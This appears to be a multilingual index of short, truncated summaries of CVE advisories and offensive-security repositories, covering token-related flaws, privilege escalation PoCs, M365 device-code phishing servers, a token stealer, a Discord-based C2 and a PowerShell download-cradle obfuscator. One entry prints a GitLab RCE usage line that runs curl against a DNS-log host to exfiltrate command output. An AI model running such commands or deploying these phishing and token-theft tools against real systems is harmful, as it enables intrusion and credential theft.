CVE-2026-105208

ZITADEL 4.x before 4.17.3 and 3.x through 3.4.15 protects IdP intent tokens with unauthenticated, malleable encryption, allowing authenticated users to tamper with their own token so it is accepted for another user's external login intent. An attacker who predicts a victim's in-flight intent...

EUVD-2026-92106

ZITADEL 4.x before 4.17.1 does not check an organization's inactive state during Login V2 authentication, verifying only the individual user's status. Users of a deactivated organization who hold valid credentials, an existing session, or a refresh token can still sign in, create sessions, and...

EUVD-2026-92101

ZITADEL 4.x before 4.17.3 and 3.x through 3.4.15 protects IdP intent tokens with unauthenticated, malleable encryption, allowing authenticated users to tamper with their own token so it is accepted for another user's external login intent. An attacker who predicts a victim's in-flight intent...

The vulnerability of the TrueConf Server software, related to deficiencies in the authentication process, allows a perpetrator to obtain a token with administrator privileges.

The vulnerability of the TrueConf Server software is related to deficiencies in the authentication process. Exploiting this vulnerability could allow a malicious actor, operating remotely, to obtain an administrator-level token...

PrivFu

PrivFu カーネルモード WinDbg 拡張機能と、トークン特権がどのように機能するかをテストするための PoCs。 トークン特権の悪用に関する注目すべきリポジトリや記事として、Grzegorz Tworek 氏の Priv2Admin があります。 このリポジトリのコードは、トークン特権がどのように機能するかを調査するのに役立つことを目的としています。 Table Of Contents PrivFu ArtsOfGetSystem KernelWritePoCs PrivEditor getps コマンド getpriv コマンド addpriv コマンド rmpriv コマンド...

CVE-2021-22205

CVE-2021-22205 影響バージョン： Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 使用方法 python3 CVE-2021-22205.py target "curl \whoami.dnslog" csrf-token の取得： /users/signin から csrf-token を取得し、前述の CVE-2021-22205 POC を使用してアップロードパケットを構築し、認証されていないアップロードリクエストを実行して、最終的に RCE を達成します。 参照:...

CVE-2024-10508

RegistrationMagic = 6.0.2.6 のパスワード復旧機能を介した未認証の権限昇格 免責事項 : この情報は教育目的のみで提供されています。この文書はセキュリティ上の脆弱性についての認識を高めることを目的としており、許可のない活動や悪意のある活動に使用すべきではありません。許可なくこれらの脆弱性を悪用する行為は違法であり、非倫理的です。 WordPress 用プラグイン RegistrationMagic – User Registration Plugin with Custom Registration Forms は、バージョン 6.0.2.6...

CVE-2022-1388-rs

CVE-2022-1388-rs CVE-2022-1388 F5 BIG-IP iControl REST 認証バイパス RCE のためのスキャナーおよびインタラクティブシェル Rust 製 概要 まとめると、この脆弱性を悪用するためのリクエストに必要な条件の概要は次のとおりです。 Connection ヘッダーに X-F5-Auth-Token が含まれている必要がある X-F5-Auth-Token ヘッダーが存在している必要がある Host ヘッダーが localhost / 127.0.0.1 であるか、Connection ヘッダーに X-Forwarded-Host...

EasyTokens

EasyTokens 적대자 모의 훈련을 위한 디바이스 코드 피싱 서버입니다. 디바이스 권한 부여 흐름을 통해 Microsoft 365 OAuth 토큰을 캡처합니다. GraphSpy에서 영감을 받았습니다. 경고 — 승인된 사용만 가능합니다. 이 도구는 명시적인 서면 승인을 받은 침투 테스터 및 레드 팀 운영자를 대상으로 합니다. 오용 시 컴퓨터 사기 관련 법률을 위반할 수 있습니다. 작동 방식 1. 운영자가 운영자 UI를 통해 디바이스 코드 캠페인 을 생성합니다. 2. 피해자용 등록 페이지Dunder Mifflin 테마는 사용자...

CVE-2019-0803

CVE-2019-0803 Win32k 特権昇格 PoC スクリーンショット スクリーンショット 参考 セキュリティトークンの窃取 https://github.com/mwrlabs/CVE-2016-7255...

CVE-2023-48223

CVE-2023-48223 PoC（fast-jwt アルゴリズム混乱） このリポジトリは、トークン検証時に許可されたアルゴリズムをロックしていない fast-jwt における JWT アルゴリズム混乱（algorithm confusion）を実演します。 環境構築 必要条件 Node.js 18 以降 npm OpenSSL（ターミナルの PATH で利用可能である必要があります） 1 依存関係のインストール プロジェクトのルートから次を実行してください: npm install 2 RSA キーの生成 このアプリは次のファイルを必要とします: keys/private.pem...

some-tweak-to-hide-jwt-payload-values

some-tweak-to-hide-jwt-payload-values JWT 페이로드를 보호하기 위한 몇 가지 조정 및 아이디어로, 값을 지속적으로 변경하여 디코딩을 무의미하게 만들고, 디코딩된 출력이 이해 불가능하도록 보장하면서 성능 오버헤드를 최소화합니다. JWT 토큰이란? JSON 웹 토큰 JWT, "jot"으로 발음은 두 당사자 간에 JSON 메시지를 전달하는 간결하고 URL-안전한 방법입니다. RFC 7519에 정의된 표준입니다. 토큰은 점으로 구분된 여러 부분으로 나뉜 긴 문자열입니다. 각 부분은 base64 URL로...

trajan

Trajan: CI/CD Security Scanner Trajan scans CI/CD pipelines for security vulnerabilities that attackers use to compromise software supply chains. It supports GitHub Actions, GitLab CI, Azure DevOps, Jenkins, and JFrog. What it does Trajan parses workflow YAML files, builds dependency graphs, runs...

Koh

Koh Koh는 의도적인 토큰/로그온 세션 유출을 통해 사용자 자격 증명 자료를 캡처할 수 있는 C 및 BOFBeacon Object File 도구 모음입니다. 일부 코드는 Elad Shamir의 Internal-Monologue 프로젝트라이선스 없음와 KB180548에서 영감을 받았습니다. 이것이 가능한 이유와 Koh의 접근 방식에 대해서는 이 README의 기술적 배경 섹션을 참조하세요. Koh의 동기와 접근 방식에 대한 더 자세한 설명은 Koh: The Token Stealer 게시물을 참조하세요. @harmj0y가 이 ...

DaaC2

DaaC2 - Discord as a C2 이건 심심해서 Discord 봇을 가지고 놀아보고, C2 서버와 에이전트 간에 Discord를 통해 통신 채널을 구축할 수 있을지 확인해보고 싶어서 만들었습니다. 결과적으로 꽤 잘 작동합니다. 이상적으로는 시간이 더 있다면, 이를 초기 드로퍼로 사용하여 인젝션을 통해 셸을 업그레이드할 수 있을 것입니다. 하지만 저는 레드팀원이 아니기 때문에 실제로 이걸로 무엇을 할지는 모르겠습니다. 그냥 만드는 것을 좋아할 뿐입니다. 더 많은 정보는 여기에서 볼 수 있습니다:...

Microsoft365_devicePhish

Microsoft365devicePhish 피싱 공격을 위해 Microsoft 365 OAuth 인증 흐름을 악용 이 스크립트는 공격자가 Microsoft 365 OAuth 인증 흐름에 대한 피싱 공격을 수행할 수 있도록 하는 간단한 개념 증명PoC 스크립트입니다. 이를 사용하여 Microsoft의 OAuth API 엔드포인트에 연결하여 usercode와 devicecode를 생성하고, 성공적인 피싱 공격 후 피해자 사용자의 accesstoken을 획득할 수 있습니다. 그런 다음 이 토큰을 사용하여 피해자 사용자를 대신해...

MDaemon-Advisories

MDaemon-Advisories MDaemon アドバイザリ: CVE-2021-27180 反射型XSS CVE-2021-27181 CSRFトークン固定化 CVE-2021-27182 iframeインジェクション CVE-2021-27183 リモートコード実行 これらの脆弱性は2021年1月にすでに修正されており、CVE登録の目的で公開されています。これらを連鎖させることで、メールメッセージを介したRCE/アカウント乗っ取りを達成できます ユーザーの操作が必要。 タイムライン: 2020年12月15日: ベンダーに脆弱性レポートを送付 2021年1月12日: パッチ公開...

Invoke-CradleCrafter

Invoke-CradleCrafter v1.1 소개 Invoke-CradleCrafter는 PowerShell v2.0+ 호환 가능한 PowerShell 원격 다운로드 크래들 생성기이자 난독화 도구입니다. 배경 2016년 가을, Invoke-Obfuscation을 출시한 후 저는 PowerShell 원격 다운로드 크래들 목록이 담긴 스프레드시트를 계속 업데이트하며, 언젠가는 Invoke-Obfuscation에 "크래들 선택기" 메뉴를 추가할 수도 있겠다고 생각했습니다. 이 목록은 제게 생소한 크래들로 구성되어 있었으며, 그중...

scour

Scour - AWS Detection Framework This tool is used to emulate attack patterns inside of the AWS Controlplane. Each attack is tagged with a specific UA for the blue team to signal off of. Status This is still an active work in progress. Lots of Bugs Not ready for production Where to file issues :...

Trust-Decision-Security

Trust Decision Solver - リバースエンジニアリング版 このソフトウェアを使用すると、以下のことが可能です。 無限の動的フィンガープリントを生成 検出されることなく無限のTDパストークンを生成 含まれるWebセキュリティ上の欠陥は以下の通りです。 トークンドメインにTLSフィンガープリントチェックが存在しない ただし、小売サイトドメインにはTLSチェックが存在する フィンガープリントペイロードの検証と解析が行われていない システムのバージョン管理が強制されていない 動的スクリプトバージョンがペイロード検証がないため正常に機能しない...